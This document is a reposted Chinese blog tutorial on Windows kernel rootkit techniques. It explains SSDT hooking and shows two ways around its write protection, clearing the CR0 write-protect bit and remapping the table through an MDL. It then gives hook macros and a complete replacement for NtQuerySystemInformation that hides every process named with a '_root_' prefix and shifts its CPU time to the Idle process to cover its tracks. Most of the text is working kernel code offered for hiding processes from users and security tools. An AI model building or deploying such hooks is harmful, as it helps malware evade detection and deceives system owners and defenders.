SSDT HIDE Process 收藏
原文出处:http://bbs.tian6.com/redirect.php?tid=12021&goto=lastpost
前言:
这只是一篇类似于教学性的paper,在本文中阐述了一些SSDT HOOK的基本原理与实现方法,方法并不高深也不新颖,只是方便如同我一般的小菜们能够了解SSDT HOOK的概念,并通过一个小程序实现ring0下SSDT HOOK来隐藏特定进程。大牛请飘过。
什么是SSDT?
SSDT(System Service Dispatch Table)系统服务描述符表,它用来查询处理系统调用的特定函数。也就是说,这个表把ring3下UserMode的Win32 API同ring0下Kernel API相联系。
SSDT HOOK 有什么用?
通过修改SSDT中的函数入口地址来HOOK SSDT中的函数,你可以过滤掉你所关心的特定结果,从而欺骗操作系统。比如,你可以隐藏特定的进程,隐藏文件,隐藏端口等等。
下面让我们正式进入到SSDT HOOK的探索旅程中吧!
我首先会阐述一些关于SSDT的基本概念,然后介绍了SSDT工作的原理,再次介绍如何绕过内存的写保护来修改SSDT,最后通过一个简单的例子来介绍如何使用SSDT HOOK来隐藏进程。
SSDT的基本概念
SSDT通过索引系统调用号来查找在内存中的函数地址。而另一个被称为SSPT(System Service Parameter Table)系统服务参数表,它则指定了每一个系统服务的函数参数的字节数。
KeServiceDescriptorTable是一个内核的导出表,这个表中包含一个指向部分SSDT的指针。而SSDT中则包含着内核的主要部分,Ntoskrnl.exe中的核心系统服务的实现。KeServiceDescriptorTable当然也包含一个指向SSPT的指针。
SSDT中包含着每一个内核导出函数的地址,每个地址是4字节长。SSPT中每个元素则是1字节长,而且用16进制来表示SSDT中指定函数的参数长度。在下图中,在地址0x804AB3BF的函数,它的参数长度是0x18。
当调用一个指定的函数时,KiSystemService只是简单的用目标函数的ID号乘以4,来得到SSDT中的偏移地址。KeServiceDescriptorTable中包含着服务的数目,这个值可以用来找到SSDT或者SSPT中的最大偏移。
当调用INT 2E或者SYSENTER指令时,将会触发系统服务。这将使得进程进入到Kernel Mode,也就是所说的ring0。应用程序能够直接触发system service dispatcher,KiSystemService,或者通过使用子系统来触发。如果使用的是子系统的话(比如Win32),那么它将进入到 Ntdll.dll,然后把请求的系统函数索引号或者系统服务标志符装入到EAX中,再把函数参数的地址装入到EDX中。然后system service dispatcher将会核查参数,把它们从用户栈复制到内核栈。它然后调用通过EAX中系统服务标志符来指定的SSDT中索引的函数。
一旦你的应用程序被作为一个驱动程序加载,它就能够改变SSDT中指向的函数变为你自己的函数,而不是Ntoskrnl.exe 或者Win32k.sys中的函数。当一个非内核的程序进入到内核时,它的请求被system service dispatcher处理,并且你的程序的函数将被调用。基于这一点,你就可以有效地隐藏自己的程序,包括它所使用的资源,返回一个虚假的信息给应用程序。
改写SSDT内存保护
Windows系统对部分内存起用了写保护,来防止内存页被修改,比如Windows XP和Windows 2003。它们使得SSDT变成只读的表,以此来防止任何应用程序来修改这个表。
写保护操作给你的应用程序提出了一个挑战,它使得你想HOOK某些系统调用来过滤返回信息变得困难起来。如果你试图去对一个只读的内存进行操作,那么你将会遇到BSoD,也就是经典的蓝屏死机的问题。
有两个方法可以绕过写保护,一种是修改控制寄存器CR0中的写保护位来绕过,另一种是利用Memory Descriptor List (MDL)来绕过写保护。
先说第一种方法,第一种方法比较简单,也就是只要把CR0中的WP(写保护)位设置为0,就可以禁止内存保护。
// 取消内存保护
__asm
{
push eax
mov eax, CR0
and eax, 0FFFEFFFFh
mov CR0, eax
pop eax
}
// 重新起用内存保护
__asm
{
push eax
mov eax, CR0
or eax, NOT 0FFFEFFFFh
mov CR0, eax
pop eax
}
第二种方法是利用MDL,这个方法在Microsoft的文档中讲得很详细了。
你可以在MDL中描述一段内存,包括内存段的起始位置,所拥有的进程,字节数,内存段的标志等等。
// MDL references defined in ntddk.h
typedef struct _MDL {
struct _MDL *Next;
CSHORT Size;
CSHORT MdlFlags;
struct _EPROCESS *Process;
PVOID MappedSystemVa;
PVOID StartVa;
ULONG ByteCount;
ULONG ByteOffset;
} MDL, *PMDL;
// MDL Flags
#define MDL_MAPPED_TO_SYSTEM_VA 0x0001
#define MDL_PAGES_LOCKED 0x0002
#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
#define MDL_ALLOCATED_FIXED_SIZE 0x0008
#define MDL_PARTIAL 0x0010
#define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
#define MDL_IO_PAGE_READ 0x0040
#define MDL_WRITE_OPERATION 0x0080
#define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
#define MDL_LOCK_HELD 0x0200
#define MDL_PHYSICAL_VIEW 0x0400
#define MDL_IO_SPACE 0x0800
#define MDL_NETWORK_HEADER 0x1000
#define MDL_MAPPING_CAN_FAIL 0x2000
#define MDL_ALLOCATED_MUST_SUCCEED 0x4000
为了改变内存的标志,下面的代码首先声明一个结构体,用来保存从Windows内核中导出的KeServiceDescriptorTable。当你调用 MmCreateMdl时,你需要知道KeServiceDescriptorTable的基址和它所拥有的函数入口的数量。这个函数定义了你想要MDL 描述的内存段的起始地址和大小。然后你的应用程序在内存的非页池中创建MDL。
你的应用程序可以通过改变MDL的标志来使得你可以写内存段,也就是把MDL flag设置为MDL_MAPPED_TO_SYSTEM_VA。然后调用MmMapLockedPages来锁定内存中的MDL页。
现在,你可以准备HOOKING SSDT了,在下面的代码中,MappedSystemCallTable中的地址同SSDT的内容相一致,但是,现在你可以修改它了。
// 声明
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} SSDT_Entry;
#pragma pack()
__declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
PMDL g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
// 保存原始的系统调用地址,映射到我们的域中,来改变MDL的保护
g_pmdlSystemCall = MmCreateMdl(NULL,
KeServiceDescriptorTable.ServiceTableBase,
KeServiceDescriptorTable.NumberOfServices*4);
if(!g_pmdlSystemCall)
return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
// 改变MDL的标志
g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
HOOKING SSDT
下面列出了几个对HOOKING SSDT比较有用的宏。
#define SYSTEMSERVICE(_func) \
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK_SYSCALL(_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig ) \
InterlockedExchange((PLONG) \
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
SYSTEMSERVICE宏的参数(姑且称为参数吧)是ntoskrnl.exe导出的函数地址,是一个Zw* 型的函数,返回一个在SSDT表中Nt*型的函数地址。
SYSCALL_INDEX宏的参数是Zw*型的函数的地址,返回一个在SSDT中相一致的索引号。
HOOK_SYSCALL 和 UNHOOK_SYSCALL宏则是把Zw*型的被HOOK的函数地址同_Hook函数地址在SSDT中自动交换。
这几个宏将会在下面的例子中非常有用。
例子:使用SSDT HOOK来隐藏进程
Windows操作系统使用ZwQuerySystemInformation函数来查询许多不同的操作系统信息。比如,任务管理器 Taskmgr.exe,就是使用这个函数来获得系统的进程列表。返回的信息则是依靠SystemInformationClass来决定的。比如,在这个例子中,我们想要获得系统的进程信息,我们需要把SystemInformationClass设置为5。更多详细的信息,请参阅Microsoft Windows DDK。
一旦你的程序在SSDT中替换了NtQuerySystemInformation,你的HOOK程序就能调用原始的系统调用,并且过滤掉敏感信息。
在SystemInformationClass buffer中,包含着_SYSTEM_PROCESSES结构体和与其相对应的_SYSTEM_THREADS结构体。在 _SYSTEM_PROCESSES中,进程名是UNICODE_STRING的。两个LARGE_INTEGER则是进程的user和kernel的时间。当你的程序隐藏一个进程的时候,你的程序应该把这个进程的执行开销所花费的时间加到列表中的其它进程中,以保证CPU的总的时间是100%。
下面的是ZwQuerySystemInformation所返回的进程和线程的结构体。
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
struct _SYSTEM_THREADS Threads[1];
};
下面的NewZwQuerySystemInformation将会过滤掉所有以“"_root_”打头的进程名,并且把它们的运行开销加到Idle的进程中,也就是加到系统空闲进程中。
///////////////////////////////////////////////////////////////////////
// NewZwQuerySystemInformation 函数
// ZwQuerySystemInformation() 返回一个进程的链表
// 下面的函数将会去掉所有以“_root_”打头的进程
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
(SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength);
if( NT_SUCCESS(ntStatus))
{
if(SystemInformationClass == 5)
{
// 查询进程的链表,并且去掉以“_root_”打头的进程
struct _SYSTEM_PROCESSES *curr =
(struct _SYSTEM_PROCESSES *) SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart +=
curr->KernelTime.QuadPart;
if(prev) // 链表的第二个节点到最后一个节点的处理
{
if(curr->NextEntryDelta)
prev->NextEntryDelta +=
curr->NextEntryDelta;
else // 最后一个节点
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// 链表的第一个节点,向后移动指针
(char*)SystemInformation +=
curr->NextEntryDelta;
}
else // 只有一个节点
SystemInformation = NULL;
}
}
}
else // Idle进程的入口
{
// 把 _root_*进程开销加到Idle的进程中去
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// 为我们下次过滤的时候重置
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta)((char*)curr+=
curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8)
{
// 查询系统进程开销
struct _SYSTEM_PROCESSOR_TIMES * times =
(struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart +
m_KernelTime.QuadPart;
}
}
return ntStatus;
}
注:以上代码来源于www.rootkit.com,完整代码下载地址为:http://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip
现在你的程序可以把进程中所有以“_root_”打头的进程都隐藏起来了,当然你可以更改隐藏的进程名。
通过上述的例子,你可以明白HOOK的好处了吧,当然在SSDT中还有许多值得我们HOOK的函数,展开你的想象吧,没有做不到,只有想不到!
本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/lionzl/archive/2009/08/27/4489268.aspx